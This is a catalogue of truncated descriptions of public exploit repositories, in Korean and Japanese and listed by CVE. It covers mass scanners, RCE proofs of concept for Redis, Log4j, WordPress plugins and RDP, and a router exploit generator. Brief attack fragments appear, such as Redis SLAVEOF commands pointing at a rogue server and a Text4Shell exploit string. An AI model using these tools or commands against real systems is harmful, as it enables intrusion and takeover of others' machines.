CVE-2023-22527

저는 불법 공격에 대해 책임지지 않습니다 CVE-2023-22527 대량 스캔 스크립트 도움말 usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD, --thread THREAD Number of threads...

MDaemon-Advisories

MDaemon-Advisories MDaemon アドバイザリ: CVE-2021-27180 反射型XSS CVE-2021-27181 CSRFトークン固定化 CVE-2021-27182 iframeインジェクション CVE-2021-27183 リモートコード実行 これらの脆弱性は2021年1月にすでに修正されており、CVE登録の目的で公開されています。これらを連鎖させることで、メールメッセージを介したRCE/アカウント乗っ取りを達成できます ユーザーの操作が必要。 タイムライン: 2020年12月15日: ベンダーに脆弱性レポートを送付 2021年1月12日: パッチ公開...

Router-Exploit-Shovel

Router Exploit Shovel 무선 라우터의 스택 오버플로 유형에 대한 자동화된 애플리케이션 생성 Router Exploit Shovel은 무선 라우터의 스택 오버플로 유형을 위한 자동화된 애플리케이션 생성 도구입니다. 이 도구는 익스플로잇의 핵심 기능을 구현하며, 스택의 데이터 패딩 길이에 적응하고, ROP 체인을 생성하며, 인코딩된 셸코드를 생성하고, 마지막으로 이를 완전한 공격 코드로 조립할 수 있습니다. 사용자는 공격 코드를 POC의 오버플로 위치에 첨부하기만 하면 원격 코드 실행 익스플로잇을 완료할 수 있습니...

CVE-2022-42889-PoC

CVE-2022-42889 개념 증명 PoC 이는 취약점 CVE-2022-42889에 대한 개념 증명PoC입니다. 이 코드는 JavaScript 코드 195 + 324를 실행합니다. 취약할 경우 출력은 다음과 같아야 합니다: PoC Output: 519 이를 실행하려면 다음이 필요합니다: JDK 11 이상 Maven 익스플로잇 문자열을 입력하라는 메시지가 나타나면 자신의 익스플로잇 문자열을 제공Enter 키를 눌러 문자열 입력하거나, Enter 키만 눌러 기본 익스플로잇 문자열 $script:javascript:195 + 32...

Redis-RCE

Redis-RCE redis4 및 redis5용 원격 코드 실행 python 코드 출처: https://github.com/Ridter/redis-rce so 파일을 로드하여 새 명령 system.exec를 확장함으로써 명령 실행 성공 strings explin.so |grep sys system system.exec syserrlist.h sysnerr syserrlist syssiglist system.exec 0x01 SLAVEOF 192.168.2.18 8989 0x02 config set dir /tmp 0x03...

CVE-2021-44228-Apache-Log4j-Rce

사용법: 1. RMIServer 실행 2. Main 실행...

opendcim-exploit

openDCIM - Config Poisoning を介した SQLi から RCE へ openDCIM の install.php LDAP 設定フォームを標的としたリモートコード実行チェーン。VulnCheck go-exploit フレームワーク上に構築。 脆弱性チェーン | CVE| CWE| 説明 ---|---|---|--- 1| CVE-2026-28515| CWE-862| install.php は LDAP 設定フォームの前にロールチェックを行わない - 任意のユーザーが到達可能 2| CVE-2026-28516| CWE-89|...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE 익스플로잇 저자: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 이 저장소는 취약한 WordPress 플러그인의 인증되지 않은 임의 파일 업로드 취약점으로, 원격 코드 실행RCE으로 이어지는 CVE-2024-51793에 대한 개념 증명 익스플로잇을 포함합니다. 스크립트가 수행하는 작업 이 스크립트는 인증 없이 PHP 페이로드를 업로드하기 위해 취약한 admin-ajax.php 액션을 악용합니다...

POC-CVE-2018-10933

POC-CVE-2018-10933 LibSSH 인증 우회 익스플로잇 RCE 사용 코드 참조 https://www.youtube.com/watch?v=ZSWQjmfcn4g 예제의 Git 저장소 취약점에 대한 추가 정보 https://www.libssh.org/security/advisories/CVE-2018-10933.txt https://vulners.com/cve/CVE-2018-10933...

SSH-Remote-Code-Execution

SSH リモートコード実行 SSH ゼロデイ | ClumsyLulz & Taylor Christian Newsome 作 概要 このリポジトリには、入力パラメータを受け取り、SSH プロトコルでサーバーに送信するパケットを生成する C プログラムが含まれています。このプログラムは、データを保持するバッファを割り当て、それをファイルに書き込み、system 関数を使用して指定されたホストとポートへの SSH 接続を開始するコマンドライン文字列を構築します。 特定された問題 現在の実装には、いくつかのセキュリティおよび安定性の問題が存在します： 1. バッファオーバーフロー :...

CVE-2024-24401

脆弱性レポート CVE発見 KALI LINUX上での実行を想定 注意事項 Nagiosは最近のすべてのダウンロードにおいてバージョン2024R1.0.1をパッチ適用済みです。対象が脆弱かどうかを判断するには、2024R1.0.1より古いダウンロードを使用していることを確認してください。 更新されたスクリプトは、対象システムが脆弱であることを確認します。 脆弱性の詳細: エンドポイント: /nagiosxi//config/monitoringwizard.php Nagios XI バージョン 2024R1.0.1 脆弱性の種類: 認証済みSQLインジェクション 悪用結果:...

deepin-linux_reader_RCE-exploit

CVE-2023-50254 - Deepin Linux のデフォルトドキュメントビューア deepin-reader RCE CVE-2023-50254: パッチ未適用の Deepin Linux デスクトップに影響を与える deepin-reader RCE の PoC エクスプロイト。Deepin Linux のデフォルトのドキュメントリーダーである「deepin-reader」ソフトウェアは、巧妙に細工された docx ドキュメントを介してリモートコマンド実行を引き起こす設計上の欠陥により、深刻な脆弱性の影響を受けます。 詳細 Deepin-reader...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - 청크 업로드 초기화/마무리 순서를 통한 인증 없는 임의 파일 쓰기 CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — 청크 업로드를 통한 인증 없는 임의 파일 쓰기 개념 증명 익스플로잇 청크 업로드 초기화/마무리 순서 → 예측 가능한 경로 노출 → 원격 코드 실행 취약점 개요 필드| 세부 정보 ---|--- CVE ID| CVE-2026-10818 영향을 받는 플러그인| WPForms Pro WordPress 영향을 받는 버전|...

cve-2025-5781_FreePBX

cve-2025-5781FreePBX 2025年8月、FreePBX Endpointモジュールに重大な脆弱性が開示されました。CVE-2025–57819は、認証されていない攻撃者がEndpointモジュールのSQLインジェクションを悪用し、データベース操作とスケジュールタスク実行の連鎖を通じて、リモートコード実行を達成することを可能にします。...

Mass-CVE-2025-3248

Langflow CVE-2025-3248 익스플로잇 도구 개요 이 도구는 Langflow 1.3.0 이전 버전에서 발견된 치명적인 원격 코드 실행RCE 취약점 CVE-2025-3248 을 익스플로잇합니다. 이 취약점은 인증이나 샌드박싱 없이 사용자가 제공한 코드를 부적절하게 실행하는 /api/v1/validate/code 엔드포인트에 존재합니다. ⚠️ 경고: 이 도구는 소유한 시스템 또는 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하십시오. 무단 사용은 불법이며 비윤리적입니다. 기능 Langflow 인스턴스가...

RCE-CVE-2025-32710

RCE-CVE-2025-32710 Windows 원격 데스크톱 서비스 취약점으로 인한 원격 코드 실행 💥 RDP Auto-Pwn RCE-CVE-2025-32710 취약한 RDP 서비스 자동 익스플로잇 BlueKeep & 그 이상 🔓 관리자 계정 생성 • 🪟 RDP 활성화 • 📶 자동 접근 확인 --- ⚠️ 중요 경고 및 면책 조항 🚨 경고: 이 도구는 보안 연구, 학습, 합법적인 침투 테스트 용도로만 사용하십시오. 시스템 소유자의 명시적 허가 없이 이 도구를 사용하는 것은 불법이며 법률 위반입니다. 저자는 모든 오용에 대해 책임...

CVE-2023-4542

poc D-LINK DAR-8000-10 온라인 행동 감사 게이트웨이에 rce 취약점이 있습니다. 공식 웹사이트:http://www.dlink.com.cn/ 버전:D-LINK DAR-8000-10 로그인 페이지를 확인하세요. URL 구성:...

CVE-2023-27163-POC

CVE-2023-27163 CVE-2023-27163 Request-baskets v1.2.1 이하 버전에서 /api/baskets/name 구성 요소를 통해 서버 측 요청 위조SSRF가 발생하는 것으로 확인되었습니다. 이 취약점으로 인해 공격자는 조작된 API 요청을 통해 네트워크 리소스와 민감한 정보에 접근할 수 있습니다. 본 POC는 SSRF를 이용하여 RCE를 수행합니다. 이 Python 스크립트는 Request Baskets 1.2.1 이하 버전의 서버 측 요청 위조SSRF 취약점CVE-2023-27163을 악용합니다...

cve-2021-22005-exp

cve-2021-22005-exp 0x01 취약점 개요 2021년 9월 21일, VMware가 보안 공지를 발표하여 vCenter Server의 19개 보안 취약점을 공개했습니다. 이러한 취약점의 CVSSv3 점수 범위는 4.3-9.8입니다. 그중 가장 심각한 취약점은 vCenter Server의 임의 파일 업로드 취약점CVE-2021-22005이며, 이 취약점은 vCenter Server의 분석 서비스에 존재하며 CVSSv3 점수는 9.8입니다. vCenter Server의 443 포트에 네트워크로 접근할 수 있는 공격자는 ...

CVE-2020-29607

CVE-2020-29607-Exploit エクスプロイトタイトル: Pluck CMS 4.7.13 - ファイルアップロードリモートコード実行 認証済み CVE 説明: Pluck CMS 4.7.13 以前のバージョンにおけるファイルアップロード制限回避の脆弱性により、管理者権限を持つユーザーが「ファイル管理」機能を介してホストへのアクセスを取得でき、リモートコード実行につながる可能性があります。 https://nvd.nist.gov/vuln/detail/CVE-2020-29607 ExploitDB:...